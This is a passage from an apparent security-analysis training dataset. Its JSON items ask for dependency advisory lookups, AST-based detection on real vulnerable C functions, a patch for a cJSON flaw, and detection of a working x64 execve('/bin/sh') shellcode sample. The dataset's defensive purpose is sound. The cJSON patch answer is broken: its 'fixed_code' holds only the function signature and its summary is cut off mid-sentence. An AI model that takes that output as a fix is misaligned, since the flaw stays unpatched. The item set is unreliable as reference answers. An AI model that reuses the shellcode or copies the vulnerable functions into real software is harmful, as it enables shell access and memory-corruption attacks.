\"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 61\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 64\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 66\n },\n {\n \"token\": \"RECTANGLE_16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 72\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 84\n },\n {\n \"token\": \"rect\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 86\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 90\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"REGION16_DATA\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"newItems\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"RECTANGLE_16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"srcPtr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 22\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 28\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 30\n },\n {\n \"token\": \"endPtr\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 31\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 39\n },\n {\n \"token\": \"srcExtents\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 40\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 50\n },\n {\n \"token\": \"RECTANGLE_16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 14\n },\n {\n \"token\": \"dstPtr\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"UINT32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"nbRects\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 15\n },\n {\n \"token\": \"usedRects\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \"RECTANGLE_16\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"common\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \"newExtents\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 22\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 32\n },\n {\n \"token\": \"assert\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 8\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \"assert\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 9,\n \"col\": 7\n },\n {\n \"token\": \"src\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 9,\n \"col\": 11\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"field_identifier\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 9,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \"srcPtr\",\n \"ast_node\": \"identifier\",\n \"line\": 10,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-276", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: parse-server\nInstalled version: <4.10.15\nSummary: parse-server's session object properties can be updated by foreign user if object ID is known", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-6w4q-23cf-j9jp\",\n \"cve\": \"CVE-2022-39225\",\n \"aliases\": [\n \"BIT-parse-2022-39225\",\n \"CVE-2022-39225\"\n ],\n \"cwe\": \"CWE-276\",\n \"ecosystem\": \"npm\",\n \"package\": \"parse-server\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <4.10.15\",\n \"fixed_version\": \"4.10.15\",\n \"finding\": \"parse-server's session object properties can be updated by foreign user if object ID is known\",\n \"remediation\": \"Upgrade parse-server to 4.10.15 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-284", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static __inline__ void scm_set_cred(struct scm_cookie *scm,\n\t\t\t\t struct pid *pid, const struct cred *cred)\n{\n\tscm->pid = get_pid(pid);\n\tscm->cred = cred ? get_cred(cred) : NULL;\n\tscm->creds.pid = pid_vnr(pid);\n\tscm->creds.uid = cred ? cred->euid : INVALID_UID;\n\tscm->creds.gid = cred ? cred->egid : INVALID_GID;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-284\",\n \"cwe_name\": \"Improper Access Control\",\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-200", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: directus\nInstalled version: <11.17.0\nSummary: Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-38hg-ww64-rrwc\",\n \"cve\": \"CVE-2026-35442\",\n \"aliases\": [\n \"CVE-2026-35442\"\n ],\n \"cwe\": \"CWE-200\",\n \"ecosystem\": \"npm\",\n \"package\": \"directus\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <11.17.0\",\n \"fixed_version\": \"11.17.0\",\n \"finding\": \"Directus: Authenticated Users Can Extract Concealed Fields via Aggregate Queries\",\n \"remediation\": \"Upgrade directus to 11.17.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: ansible\nInstalled version: <1.5.5+dfsg-1\nSummary: The safe_eval function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2014-4657\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"ansible\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <1.5.5+dfsg-1\",\n \"fixed_version\": \"1.5.5+dfsg-1\",\n \"finding\": \"The safe_eval function in Ansible before 1.5.4 does not properly restrict the code subset, which allows remote attackers to execute arbitrary code via crafted instructions.\",\n \"remediation\": \"Upgrade ansible to 1.5.5+dfsg-1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "GF_Err cat_multiple_files(GF_ISOFile *dest, char *fileName, u32 import_flags, Double force_fps, u32 frames_per_sample, char *tmp_dir, Bool force_cat, Bool align_timelines, Bool allow_add_in_command)\n{\n\tCATEnum cat_enum;\n\tchar *sep;\n\n\tcat_enum.dest = dest;\n\tcat_enum.import_flags = import_flags;\n\tcat_enum.force_fps = force_fps;\n\tcat_enum.frames_per_sample = frames_per_sample;\n\tcat_enum.tmp_dir = tmp_dir;\n\tcat_enum.force_cat = force_cat;\n \tcat_enum.align_timelines = align_timelines;\n \tcat_enum.allow_add_in_command = allow_add_in_command;\n \n \tstrcpy(cat_enum.szPath, fileName);\n \tsep = strrchr(cat_enum.szPath, GF_PATH_SEPARATOR);\n \tif (!sep) sep = strrchr(cat_enum.szPath, '/');\n \tif (!sep) {\n \t\tstrcpy(cat_enum.szPath, \".\");\n \t\tstrcpy(cat_enum.szRad1, fileName);\n \t} else {\n \t\tstrcpy(cat_enum.szRad1, sep+1);\n \t\tsep[0] = 0;\n \t}\n \tsep = strchr(cat_enum.szRad1, '*');\n \tstrcpy(cat_enum.szRad2, sep+1);\n \tsep[0] = 0;\n \tsep = strchr(cat_enum.szRad2, '%');\n \tif (!sep) sep = strchr(cat_enum.szRad2, '#');\n \tif (!sep) sep = strchr(cat_enum.szRad2, ':');\n \tstrcpy(cat_enum.szOpt, \"\");\n \tif (sep) {\n \t\tstrcpy(cat_enum.szOpt, sep);\n \t\tsep[0] = 0;\n \t}\n\treturn gf_enum_directory(cat_enum.szPath, 0, cat_enumerate, &cat_enum, NULL);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-20762\",\n \"project\": \"gpac\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "assembly_vuln_detection", "language": "assembly", "cwe": "CWE-78", "source": "curated x86/x64 assembly + shellcode signatures", "instruction": "Perform instruction-level static analysis on the following assembly. Detect shellcode or unsafe constructs, list the indicator instructions, and output a structured finding. Do not attempt to build an AST.", "input": "xor rsi, rsi\npush rsi\nmov rdi, 0x68732f2f6e69622f ; \"/bin//sh\"\npush rdi\nmov rdi, rsp\nxor rdx, rdx\nmov al, 59 ; execve\nsyscall\n", "output": "{\n \"analysis_mode\": \"instruction-level (assembly is not parsed into an AST; mnemonics and operands are scanned directly)\",\n \"vulnerable\": true,\n \"cwe\": \"CWE-78\",\n \"title\": \"execve(\\\"/bin/sh\\\") shellcode (x64 Linux)\",\n \"severity\": \"critical\",\n \"indicator_instructions\": [\n \"immediate 0x68732f2f6e69622f decodes to \\\"/bin//sh\\\"\",\n \"syscall number 59 (execve) loaded into al\",\n \"stack set up as execve argv with rdi -> \\\"/bin/sh\\\"\"\n ],\n \"explanation\": \"Classic execve(\\\"/bin/sh\\\") shellcode that spawns an interactive shell.\",\n \"recommended_handling\": \"Treat as malicious shellcode. Do not execute. Detonate only in an isolated sandbox; flag the containing buffer/binary.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.1.55-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: LoongArch: mm: Add p?d_leaf() definitions When I do LTP test, LTP test case ksm06 caused panic at \tbreak_ksm_pmd_entry \t -> pmd_l...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2023-53361\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.1.55-1\",\n \"fixed_version\": \"6.1.55-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: LoongArch: mm: Add p?d_leaf() definitions When I do LTP test, LTP test case ksm06 caused panic at \\tbreak_ksm_pmd_entry \\t -> pmd_l...\",\n \"remediation\": \"Upgrade linux to 6.1.55-1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: django\nInstalled version: 1.4.18\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"django\",\n \"installed_version\": \"1.4.18\",\n \"note\": \"django 1.4.18 is at or above the fixed version for GHSA-gv98-g628-m9x5; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: com.github.blynkkk:blynk-server\nInstalled version: 0.39.7\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Maven\",\n \"package\": \"com.github.blynkkk:blynk-server\",\n \"installed_version\": \"0.39.7\",\n \"note\": \"com.github.blynkkk:blynk-server 0.39.7 is at or above the fixed version for GHSA-4r64-wf76-c53p; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-310", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int rsa_prepare_blinding( rsa_context *ctx,\n int (*f_rng)(void *, unsigned char *, size_t), void *p_rng )\n{\n int ret;\n\n if( ctx->Vf.p != NULL )\n {\n /* We already have blinding values, just update them by squaring */\n MPI_CHK( mpi_mul_mpi( &ctx->Vi, &ctx->Vi, &ctx->Vi ) );\n MPI_CHK( mpi_mod_mpi( &ctx->Vi, &ctx->Vi, &ctx->N ) );\n MPI_CHK( mpi_mul_mpi( &ctx->Vf, &ctx->Vf, &ctx->Vf ) );\n MPI_CHK( mpi_mod_mpi( &ctx->Vf, &ctx->Vf, &ctx->N ) );\n\n return( 0 );\n }\n\n /* Unblinding value: Vf = random number */\n MPI_CHK( mpi_fill_random( &ctx->Vf, ctx->len - 1, f_rng, p_rng ) );\n\n /* Mathematically speaking, the algorithm should check Vf\n * against 0, P and Q (Vf should be relatively prime to N, and 0 < Vf < N),\n * so that Vf^-1 exists.\n */\n\n /* Blinding value: Vi = Vf^(-e) mod N */\n MPI_CHK( mpi_inv_mod( &ctx->Vi, &ctx->Vf, &ctx->N ) );\n MPI_CHK( mpi_exp_mod( &ctx->Vi, &ctx->Vi, &ctx->E, &ctx->N, &ctx->RN ) );\n\ncleanup:\n return( ret );\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-310\",\n \"cwe_name\": \"see MITRE CWE\",\n \"severity\": \"high\",\n \"project\": \"polarssl\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static inline void writeit(int f, void *buf, size_t len) {\n\tssize_t res;\n\twhile (len > 0) {\n\t\tDEBUG(\"+\");\n\t\tif ((res = write(f, buf, len)) <= 0)\n\t\t\terr(\"Send failed: %m\");\n\t\tlen -= res;\n\t\tbuf += res;\n\t}\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"nbd\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static void cirrus_update_memory_access(CirrusVGAState *s)\n{\n unsigned mode;\n\n if ((s->sr[0x17] & 0x44) == 0x44) {\n goto generic_io;\n } else if (s->cirrus_srcptr != s->cirrus_srcptr_end) {\n goto generic_io;\n } else {\n\tif ((s->gr[0x0B] & 0x14) == 0x14) {\n goto generic_io;\n\t} else if (s->gr[0x0B] & 0x02) {\n goto generic_io;\n }\n\n\tmode = s->gr[0x05] & 0x7;\n\tif (mode < 4 || mode > 5 || ((s->gr[0x0B] & 0x4) == 0)) {\n s->cirrus_linear_write[0] = cirrus_linear_mem_writeb;\n s->cirrus_linear_write[1] = cirrus_linear_mem_writew;\n s->cirrus_linear_write[2] = cirrus_linear_mem_writel;\n } else {\n generic_io:\n s->cirrus_linear_write[0] = cirrus_linear_writeb;\n s->cirrus_linear_write[1] = cirrus_linear_writew;\n s->cirrus_linear_write[2] = cirrus_linear_writel;\n }\n }\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"qemu\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Debian:13\nManifest: distro package manager (apt/apk)\nPackage: linux\nInstalled version: <6.12.37-1\nSummary: In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix unsafe xarray access in implicit ODP handling __xa_store() and __xa_erase() were used without holding the proper lo...", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"DEBIAN-CVE-2025-38372\",\n \"cve\": null,\n \"aliases\": [],\n \"cwe\": null,\n \"ecosystem\": \"Debian:13\",\n \"package\": \"linux\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <6.12.37-1\",\n \"fixed_version\": \"6.12.37-1\",\n \"finding\": \"In the Linux kernel, the following vulnerability has been resolved: RDMA/mlx5: Fix unsafe xarray access in implicit ODP handling __xa_store() and __xa_erase() were used without holding the proper lo...\",\n \"remediation\": \"Upgrade linux to 6.12.37-1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: tensorflow\nInstalled version: <2.7.1\nSummary: Out of bounds read in Tensorflow", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"PYSEC-2026-3247\",\n \"cve\": \"CVE-2022-21730\",\n \"aliases\": [\n \"BIT-tensorflow-2022-21730\",\n \"CVE-2022-21730\",\n \"GHSA-vjg4-v33c-ggc4\",\n \"PYSEC-2022-109\",\n \"PYSEC-2022-54\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"PyPI\",\n \"package\": \"tensorflow\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=0, <2.7.1\",\n \"fixed_version\": \"2.7.1\",\n \"finding\": \"Out of bounds read in Tensorflow\",\n \"remediation\": \"Upgrade tensorflow to 2.7.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.mortbay.jetty:jetty\nInstalled version: <6.1.17\nSummary: Directory traversal in Mort Bay Jetty", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-9986-w5h5-vw59\",\n \"cve\": \"CVE-2009-1523\",\n \"aliases\": [\n \"CVE-2009-1523\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.mortbay.jetty:jetty\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <6.1.17\",\n \"fixed_version\": \"6.1.17\",\n \"finding\": \"Directory traversal in Mort Bay Jetty\",\n \"remediation\": \"Upgrade org.mortbay.jetty:jetty to 6.1.17 or later.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: OWASP.AntiSamy\nInstalled version: <1.2.0\nSummary: OWASP.AntiSamy mXSS when preserving comments", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8x6f-956f-q43w\",\n \"cve\": \"CVE-2023-51652\",\n \"aliases\": [\n \"CVE-2023-51652\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"OWASP.AntiSamy\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.2.0\",\n \"fixed_version\": \"1.2.0\",\n \"finding\": \"OWASP.AntiSamy mXSS when preserving comments\",\n \"remediation\": \"Upgrade OWASP.AntiSamy to 1.2.0 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-119). Produce the patched version and explain the fix. Output JSON.", "input": "cJSON *cJSON_DetachItemFromArray( cJSON *array, int which )\n{\n\tcJSON *c = array->child;\n\twhile ( c && which > 0 ) {\n\t\tc = c->next;\n\t\t--which;\n\t}\n\tif ( ! c )\n\t\treturn 0;\n\tif ( c->prev )\n\t\tc->prev->next = c->next;\n\tif ( c->next ) c->next->prev = c->prev;\n\tif ( c == array->child )\n\t\tarray->child = c->next;\n\tc->prev = c->next = 0;\n\treturn c;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"cve\": \"CVE-2016-4303\",\n \"fixed_code\": \"cJSON *cJSON_DetachItemFromArray( cJSON *array, int which )\\n\",\n \"change_summary\": \"Fix a buffer overflow / heap corruption issue that could occur if a\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/henrygd/beszel\nInstalled version: 0.18.4\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/henrygd/beszel\",\n \"installed_version\": \"0.18.4\",\n \"note\": \"github.com/henrygd/beszel 0.18.4 is at or above the fixed version for GHSA-phwh-4f42-gwf3; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-444", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: twisted\nInstalled version: <20.3.0\nSummary: HTTP Request Smuggling in Twisted", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-p5xh-vx83-mxcj\",\n \"cve\": \"CVE-2020-10109\",\n \"aliases\": [\n \"CVE-2020-10109\",\n \"PYSEC-2020-260\"\n ],\n \"cwe\": \"CWE-444\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"twisted\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=0, <20.3.0\",\n \"fixed_version\": \"20.3.0\",\n \"finding\": \"HTTP Request Smuggling in Twisted\",\n \"remediation\": \"Upgrade twisted to 20.3.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-79", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.openidentityplatform.openam:openam-federation-library\nInstalled version: <16.1.1\nSummary: OpenAM SAML2 Cluster Cookie-Hash-Redirect Path has Pre-authentication Reflected XSS via `FSUtils.postToTarget`", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-fhrq-3gmx-p879\",\n \"cve\": \"CVE-2026-44793\",\n \"aliases\": [\n \"CVE-2026-44793\"\n ],\n \"cwe\": \"CWE-79\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.openidentityplatform.openam:openam-federation-library\",\n \"severity\": \"low\",\n \"affected_versions\": \">=0, <16.1.1\",\n \"fixed_version\": \"16.1.1\",\n \"finding\": \"OpenAM SAML2 Cluster Cookie-Hash-Redirect Path has Pre-authentication Reflected XSS via `FSUtils.postToTarget`\",\n \"remediation\": \"Upgrade org.openidentityplatform.openam:openam-federation-library to 16.1.1 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": "CWE-269", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/controlplaneio-fluxcd/flux-operator\nInstalled version: 0.36.0\nSummary: Flux Operator Web UI Impersonation Bypass via Empty OIDC Claims", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-4xh5-jcj2-ch8q\",\n \"cve\": \"CVE-2026-23990\",\n \"aliases\": [\n \"CVE-2026-23990\",\n \"GO-2026-4351\"\n ],\n \"cwe\": \"CWE-269\",\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/controlplaneio-fluxcd/flux-operator\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0.36.0, <0.40.0\",\n \"fixed_version\": \"0.40.0\",\n \"finding\": \"Flux Operator Web UI Impersonation Bypass via Empty OIDC Claims\",\n \"remediation\": \"Upgrade github.com/controlplaneio-fluxcd/flux-operator to 0.40.0 or later.\"\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: github.com/mattermost/mattermost-server\nInstalled version: 10.11.0+incompatible\nSummary: Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues in github.com/mattermost/mattermost-server", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GO-2025-4259\",\n \"cve\": \"CVE-2025-13767\",\n \"aliases\": [\n \"CVE-2025-13767\",\n \"GHSA-fmqf-pmcm-8cx9\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"github.com/mattermost/mattermost-server\",\n \"severity\": \"unknown\",\n \"affected_versions\": \">=10.11.0+incompatible, <11.1.1+incompatible\",\n \"fixed_version\": \"11.1.1+incompatible\",\n \"finding\": \"Mattermost doesn't validate user channel membership when attaching Mattermost posts as comments to Jira issues in github.com/mattermost/mattermost-server\",\n \"remediation\": 